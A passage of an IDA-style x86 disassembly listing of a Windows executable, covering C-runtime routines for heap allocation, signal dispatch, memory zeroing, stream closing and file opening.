		jmp	loc_40DE17
; ---------------------------------------------------------------------------

loc_40DD42:				; CODE XREF: sub_40DCFF+13j
					; sub_40DCFF+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_40DD52
		xor	esi, esi
		inc	esi

loc_40DD52:				; CODE XREF: sub_40DCFF+4Ej
					; sub_40DCFF+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40DDC5
		cmp	dword_436854, 3
		jnz	short loc_40DDB0
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_436844
		ja	short loc_40DDB0
		push	4
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_4066A9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DDFB
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_40DDB4
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_407F20
		add	esp, 0Ch

loc_40DDB0:				; CODE XREF: sub_40DCFF+64j
					; sub_40DCFF+78j
		cmp	ebx, edi
		jnz	short loc_40DE15

loc_40DDB4:				; CODE XREF: sub_40DCFF+A2j
		push	esi
		push	8
		push	dword_4279A8
		call	ds:dword_41D110	; RtlAllocateHeap
		mov	ebx, eax

loc_40DDC5:				; CODE XREF: sub_40DCFF+5Bj
		cmp	ebx, edi
		jnz	short loc_40DE15
		cmp	dword_427D2C, edi
		jz	short loc_40DE04
		push	esi
		call	sub_408412
		pop	ecx
		test	eax, eax
		jnz	loc_40DD52
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_40DD3B
		mov	dword ptr [eax], 0Ch
		jmp	loc_40DD3B
sub_40DCFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDF6	proc near		; DATA XREF: c.7ld2ih:00421B08o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_40DDF6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DDFB	proc near		; CODE XREF: sub_40DCFF+98p
		push	4
		call	sub_405CCF
		pop	ecx
		retn
sub_40DDFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCFF

loc_40DE04:				; CODE XREF: sub_40DCFF+D0j
		cmp	ebx, edi
		jnz	short loc_40DE15
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_40DE15
		mov	dword ptr [eax], 0Ch

loc_40DE15:				; CODE XREF: sub_40DCFF+B3j
					; sub_40DCFF+C8j ...
		mov	eax, ebx

loc_40DE17:				; CODE XREF: sub_40DCFF+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40DCFF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE1D	proc near		; CODE XREF: sub_407B72+Cp
					; sub_40E038+3Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0040DF6A SIZE 000000CE BYTES

		push	10h
		push	offset dword_421B10
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_40DE3E
		push	[ebp+arg_4]
		call	sub_403AA0
		pop	ecx
		jmp	loc_40E00A
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE1D+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_40DE51
		push	ebx
		call	sub_4039C3
		pop	ecx
		jmp	loc_40E008
; ---------------------------------------------------------------------------

loc_40DE51:				; CODE XREF: sub_40DE1D+26j
		cmp	dword_436854, 3
		jnz	loc_40DFF1

loc_40DE5E:				; CODE XREF: sub_40DE1D+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40DFF6
		push	4
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_405ED5
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_40DF27
		cmp	esi, dword_436844
		ja	short loc_40DEDA
		push	esi
		push	ebx
		push	eax
		call	sub_4063CA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DEA5
		mov	[ebp+var_1C], ebx
		jmp	short loc_40DEDA
; ---------------------------------------------------------------------------

loc_40DEA5:				; CODE XREF: sub_40DE1D+81j
		push	esi
		call	sub_4066A9
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_40DEDA
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40DEBD
		mov	eax, esi

loc_40DEBD:				; CODE XREF: sub_40DE1D+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_407FA0
		push	ebx
		call	sub_405ED5
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_405F00
		add	esp, 18h

loc_40DEDA:				; CODE XREF: sub_40DE1D+72j
					; sub_40DE1D+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_40DF27
		cmp	esi, edi
		jnz	short loc_40DEE9
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi

loc_40DEE9:				; CODE XREF: sub_40DE1D+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_4279A8
		call	ds:dword_41D110	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_40DF27
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40DF11
		mov	eax, esi

loc_40DF11:				; CODE XREF: sub_40DE1D+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_407FA0
		push	ebx
		push	[ebp+var_20]
		call	sub_405F00
		add	esp, 14h

loc_40DF27:				; CODE XREF: sub_40DE1D+66j
					; sub_40DE1D+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DF61
		cmp	[ebp+var_20], 0
		jnz	short loc_40DF6A
		test	esi, esi
		jnz	short loc_40DF3E
		inc	esi

loc_40DF3E:				; CODE XREF: sub_40DE1D+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	dword_4279A8
		call	ds:off_41D150
		mov	edi, eax
		jmp	short loc_40DF6D
sub_40DE1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF5B	proc near		; DATA XREF: c.7ld2ih:00421B28o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_40DF5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DF61	proc near		; CODE XREF: sub_40DE1D+111p
		push	4
		call	sub_405CCF
		pop	ecx
		retn
sub_40DF61	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE1D

loc_40DF6A:				; CODE XREF: sub_40DE1D+11Aj
		mov	edi, [ebp+var_1C]

loc_40DF6D:				; CODE XREF: sub_40DE1D+13Cj
		test	edi, edi
		jnz	loc_40E034
		cmp	dword_427D2C, edi
		jz	short loc_40DFA9
		push	esi
		call	sub_408412
		pop	ecx
		test	eax, eax
		jnz	loc_40DE5E
		call	sub_405B83
		cmp	[ebp+var_20], edi
		jnz	short loc_40E002

loc_40DF96:				; CODE XREF: sub_40DE1D+1F8j
		mov	esi, eax
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		push	eax
		call	sub_405B48
		pop	ecx
		mov	[esi], eax
		jmp	short loc_40E008
; ---------------------------------------------------------------------------

loc_40DFA9:				; CODE XREF: sub_40DE1D+15Ej
		test	edi, edi
		jnz	loc_40E034
		call	sub_405B83
		cmp	[ebp+var_20], edi
		jz	short loc_40E023
		mov	dword ptr [eax], 0Ch
		jmp	short loc_40E034
; ---------------------------------------------------------------------------

loc_40DFC3:				; CODE XREF: sub_40DE1D+1D7j
		test	esi, esi
		jnz	short loc_40DFC8
		inc	esi

loc_40DFC8:				; CODE XREF: sub_40DE1D+1A8j
		push	esi
		push	ebx
		push	0
		push	dword_4279A8
		call	ds:off_41D150
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40E034
		cmp	dword_427D2C, eax
		jz	short loc_40E01A
		push	esi
		call	sub_408412
		pop	ecx
		test	eax, eax
		jz	short loc_40E010

loc_40DFF1:				; CODE XREF: sub_40DE1D+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_40DFC3

loc_40DFF6:				; CODE XREF: sub_40DE1D+49j
		push	esi
		call	sub_408412
		pop	ecx
		call	sub_405B83

loc_40E002:				; CODE XREF: sub_40DE1D+177j
		mov	dword ptr [eax], 0Ch

loc_40E008:				; CODE XREF: sub_40DE1D+2Fj
					; sub_40DE1D+18Aj
		xor	eax, eax

loc_40E00A:				; CODE XREF: sub_40DE1D+1Cj
					; sub_40DE1D+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40E010:				; CODE XREF: sub_40DE1D+1D2j
		call	sub_405B83
		jmp	loc_40DF96
; ---------------------------------------------------------------------------

loc_40E01A:				; CODE XREF: sub_40DE1D+1C7j
		test	edi, edi
		jnz	short loc_40E034
		call	sub_405B83

loc_40E023:				; CODE XREF: sub_40DE1D+19Cj
		mov	esi, eax
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		push	eax
		call	sub_405B48
		mov	[esi], eax
		pop	ecx

loc_40E034:				; CODE XREF: sub_40DE1D+152j
					; sub_40DE1D+18Ej ...
		mov	eax, edi
		jmp	short loc_40E00A
; END OF FUNCTION CHUNK	FOR sub_40DE1D

; =============== S U B	R O U T	I N E =======================================



sub_40E038	proc near		; CODE XREF: sub_407BBD+10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jbe	short loc_40E06C
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, [esp+4+arg_8]
		jnb	short loc_40E06C
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 0Ch
		call	sub_4032F9
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E06C:				; CODE XREF: sub_40E038+9j
					; sub_40E038+16j
		imul	ecx, [esp+4+arg_8]
		push	ecx
		push	[esp+8+arg_0]
		call	sub_40DE1D
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_40E038	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E07F	proc near		; CODE XREF: sub_407EC9+27p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_427E64, eax
		mov	dword_427E68, eax
		mov	dword_427E6C, eax
		mov	dword_427E70, eax
		retn
sub_40E07F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E098	proc near		; CODE XREF: sub_40E0D9+5Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_423E44
		push	esi

loc_40E0A3:				; CODE XREF: sub_40E098+1Ej
		cmp	[eax+4], edx
		jz	short loc_40E0B8
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [esp+4+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_40E0A3

loc_40E0B8:				; CODE XREF: sub_40E098+Ej
		imul	ecx, 0Ch
		add	ecx, [esp+4+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_40E0C9
		cmp	[eax+4], edx
		jz	short locret_40E0CB

loc_40E0C9:				; CODE XREF: sub_40E098+2Aj
		xor	eax, eax

locret_40E0CB:				; CODE XREF: sub_40E098+2Fj
		retn
sub_40E098	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0CC	proc near		; CODE XREF: sub_41056E:loc_41059Bp
		push	dword_427E6C
		call	sub_405543
		pop	ecx
		retn
sub_40E0CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D9	proc near		; CODE XREF: sub_41056E+38p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040E283 SIZE 00000006 BYTES

		push	20h
		push	offset dword_421B30
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_40E141
		jz	short loc_40E10C
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_40E122
		sub	eax, ecx
		jz	short loc_40E10C
		sub	eax, ecx
		jz	short loc_40E16C
		sub	eax, ecx
		jnz	short loc_40E150

loc_40E10C:				; CODE XREF: sub_40E0D9+1Cj
					; sub_40E0D9+29j
		call	sub_4056CA
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_40E12E

loc_40E11A:				; CODE XREF: sub_40E0D9+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_40E283
; ---------------------------------------------------------------------------

loc_40E122:				; CODE XREF: sub_40E0D9+25j
		mov	esi, offset dword_427E64
		mov	eax, dword_427E64
		jmp	short loc_40E18E
; ---------------------------------------------------------------------------

loc_40E12E:				; CODE XREF: sub_40E0D9+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_40E098
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_40E19B
; ---------------------------------------------------------------------------

loc_40E141:				; CODE XREF: sub_40E0D9+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_40E184
		sub	eax, 6
		jz	short loc_40E178
		dec	eax
		jz	short loc_40E16C

loc_40E150:				; CODE XREF: sub_40E0D9+31j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40E11A
; ---------------------------------------------------------------------------

loc_40E16C:				; CODE XREF: sub_40E0D9+2Dj
					; sub_40E0D9+75j
		mov	esi, offset dword_427E6C
		mov	eax, dword_427E6C
		jmp	short loc_40E18E
; ---------------------------------------------------------------------------

loc_40E178:				; CODE XREF: sub_40E0D9+72j
		mov	esi, offset dword_427E68
		mov	eax, dword_427E68
		jmp	short loc_40E18E
; ---------------------------------------------------------------------------

loc_40E184:				; CODE XREF: sub_40E0D9+6Dj
		mov	esi, offset dword_427E70
		mov	eax, dword_427E70

loc_40E18E:				; CODE XREF: sub_40E0D9+53j
					; sub_40E0D9+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_405543

loc_40E19B:				; CODE XREF: sub_40E0D9+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_40E283
		cmp	[ebp+var_20], eax
		jnz	short loc_40E1B7
		push	3
		call	sub_407E9A

loc_40E1B7:				; CODE XREF: sub_40E0D9+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_40E1C3
		push	eax
		call	sub_405DA7
		pop	ecx

loc_40E1C3:				; CODE XREF: sub_40E0D9+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_40E1D7
		cmp	ebx, 0Bh
		jz	short loc_40E1D7
		cmp	ebx, 4
		jnz	short loc_40E1F2

loc_40E1D7:				; CODE XREF: sub_40E0D9+F2j
					; sub_40E0D9+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_40E225
		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch

loc_40E1F2:				; CODE XREF: sub_40E0D9+FCj
		cmp	ebx, 8
		jnz	short loc_40E225
		mov	ecx, dword_423E38
		mov	[ebp+var_24], ecx

loc_40E200:				; CODE XREF: sub_40E0D9+14Aj
		mov	ecx, dword_423E3C
		mov	edx, dword_423E38
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_40E22C
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_40E200
; ---------------------------------------------------------------------------

loc_40E225:				; CODE XREF: sub_40E0D9+10Aj
					; sub_40E0D9+11Cj
		call	sub_40553A
		mov	[esi], eax

loc_40E22C:				; CODE XREF: sub_40E0D9+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E24D
		cmp	ebx, 8
		jnz	short sub_40E25C
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_40E260
sub_40E0D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E247	proc near		; DATA XREF: c.7ld2ih:00421B48o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_40E247	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E24D	proc near		; CODE XREF: sub_40E0D9+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_40E25B
		push	0
		call	sub_405CCF
		pop	ecx

locret_40E25B:				; CODE XREF: sub_40E24D+4j
		retn
sub_40E24D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E25C	proc near		; CODE XREF: sub_40E0D9+162j
		push	ebx
		call	dword ptr [ebp-20h]

loc_40E260:				; CODE XREF: sub_40E0D9+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_40E270
		cmp	ebx, 0Bh
		jz	short loc_40E270
		cmp	ebx, 4
		jnz	short loc_40E281

loc_40E270:				; CODE XREF: sub_40E25C+8j
					; sub_40E25C+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_40E281
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax

loc_40E281:				; CODE XREF: sub_40E25C+12j
					; sub_40E25C+1Dj
		xor	eax, eax
sub_40E25C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40E0D9

loc_40E283:				; CODE XREF: sub_40E0D9+44j
					; sub_40E0D9+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40E0D9

; =============== S U B	R O U T	I N E =======================================



sub_40E289	proc near		; CODE XREF: sub_407EC9+21p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_427E78, eax
		retn
sub_40E289	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E293	proc near		; CODE XREF: sub_407EC9+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_427E84, eax
		retn
sub_40E293	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E29D	proc near		; CODE XREF: sub_40E2F4+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_40E2BD
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		db 90h
; ---------------------------------------------------------------------------

loc_40E2BD:				; CODE XREF: sub_40E29D+16j
					; sub_40E29D+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_40E2BD
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40E29D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2F4	proc near		; CODE XREF: sub_407F20+27j
					; sub_40E2F4+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_40E34E
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_40E333
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_40E29D
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]

loc_40E333:				; CODE XREF: sub_40E2F4+2Bj
		test	edx, edx
		jz	short loc_40E37C
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_40E37C
; ---------------------------------------------------------------------------

loc_40E34E:				; CODE XREF: sub_40E2F4+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_40E2F4
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]

loc_40E37C:				; CODE XREF: sub_40E2F4+41j
					; sub_40E2F4+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40E2F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E383	proc near		; CODE XREF: sub_4084EB+Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421B50
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	1
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	3
		pop	edi

loc_40E3A2:				; CODE XREF: sub_40E383+7Fj
		mov	[ebp+var_20], edi
		cmp	edi, dword_436820
		jge	short loc_40E404
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_435800
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_40E401
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_40E3D4
		push	eax
		call	sub_403884
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3D4
		inc	[ebp+var_1C]

loc_40E3D4:				; CODE XREF: sub_40E383+40j
					; sub_40E383+4Cj
		cmp	edi, 14h
		jl	short loc_40E401
		mov	eax, dword_435800
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:off_41D16C
		mov	eax, dword_435800
		push	dword ptr [esi+eax]
		call	sub_4039C3
		pop	ecx
		mov	eax, dword_435800
		mov	[esi+eax], ebx

loc_40E401:				; CODE XREF: sub_40E383+38j
					; sub_40E383+54j
		inc	edi
		jmp	short loc_40E3A2
; ---------------------------------------------------------------------------

loc_40E404:				; CODE XREF: sub_40E383+28j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40E419
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40E383	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E419	proc near		; CODE XREF: sub_40E383+88p
					; DATA XREF: c.7ld2ih:00421B68o
		push	1
		call	sub_405CCF
		pop	ecx
		retn
sub_40E419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E422	proc near		; CODE XREF: sub_40EA60+72p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		test	byte ptr [ebp+arg_8], 80h
		push	edi
		push	10h
		mov	esi, eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_2], bl
		mov	[ebp+var_28], 0Ch
		mov	[ebp+var_24], ebx
		pop	edi
		jz	short loc_40E454
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_40E45E
; ---------------------------------------------------------------------------

loc_40E454:				; CODE XREF: sub_40E422+27j
		mov	[ebp+var_20], 1
		mov	[ebp+var_1], bl

loc_40E45E:				; CODE XREF: sub_40E422+30j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_410C39
		test	eax, eax
		pop	ecx
		jz	short loc_40E479
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_40E479:				; CODE XREF: sub_40E422+48j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_407CB6
		test	eax, eax
		pop	ecx
		jz	short loc_40E494
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_40E494:				; CODE XREF: sub_40E422+63j
		mov	eax, 8000h
		test	[ebp+arg_8], eax
		jnz	short loc_40E4B0
		test	[ebp+arg_8], 74000h
		jnz	short loc_40E4AC
		cmp	[ebp+var_14], eax
		jz	short loc_40E4B0

loc_40E4AC:				; CODE XREF: sub_40E422+83j
		or	[ebp+var_1], 80h

loc_40E4B0:				; CODE XREF: sub_40E422+7Aj
					; sub_40E422+88j
		mov	eax, [ebp+arg_8]
		push	3
		pop	edx
		and	eax, edx
		sub	eax, ebx
		mov	ecx, 80000000h
		jz	short loc_40E4FF
		dec	eax
		jz	short loc_40E4F6
		dec	eax
		jz	short loc_40E4ED

loc_40E4C7:				; CODE XREF: sub_40E422+F6j
					; sub_40E422+14Fj ...
		call	sub_405B96
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_405B83
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h
		jmp	loc_40E97C
; ---------------------------------------------------------------------------

loc_40E4ED:				; CODE XREF: sub_40E422+A3j
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_40E502
; ---------------------------------------------------------------------------

loc_40E4F6:				; CODE XREF: sub_40E422+A0j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_40E502
; ---------------------------------------------------------------------------

loc_40E4FF:				; CODE XREF: sub_40E422+9Dj
		mov	[ebp+var_C], ecx

loc_40E502:				; CODE XREF: sub_40E422+D2j
					; sub_40E422+DBj
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		jz	short loc_40E53E
		sub	eax, edi
		jz	short loc_40E535
		sub	eax, edi
		jz	short loc_40E52C
		sub	eax, edi
		jz	short loc_40E527
		sub	eax, 40h
		jnz	short loc_40E4C7
		xor	eax, eax
		cmp	[ebp+var_C], ecx
		setz	al
		mov	[ebp+var_8], eax
		jmp	short loc_40E541
; ---------------------------------------------------------------------------

loc_40E527:				; CODE XREF: sub_40E422+F1j
		mov	[ebp+var_8], edx
		jmp	short loc_40E541
; ---------------------------------------------------------------------------

loc_40E52C:				; CODE XREF: sub_40E422+EDj
		mov	[ebp+var_8], 2
		jmp	short loc_40E541
; ---------------------------------------------------------------------------

loc_40E535:				; CODE XREF: sub_40E422+E9j
		mov	[ebp+var_8], 1
		jmp	short loc_40E541
; ---------------------------------------------------------------------------

loc_40E53E:				; CODE XREF: sub_40E422+E5j
		mov	[ebp+var_8], ebx

loc_40E541:				; CODE XREF: sub_40E422+103j
					; sub_40E422+108j ...
		mov	eax, [ebp+arg_8]
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		jg	short loc_40E592
		jz	short loc_40E589
		cmp	eax, ebx
		jz	short loc_40E589
		cmp	eax, 100h
		jz	short loc_40E580
		cmp	eax, 200h
		jz	loc_40E604
		cmp	eax, 300h
		jnz	loc_40E4C7
		mov	[ebp+var_10], 2
		jmp	short loc_40E5AF
; ---------------------------------------------------------------------------

loc_40E580:				; CODE XREF: sub_40E422+13Dj
		mov	[ebp+var_10], 4
		jmp	short loc_40E5AF
; ---------------------------------------------------------------------------

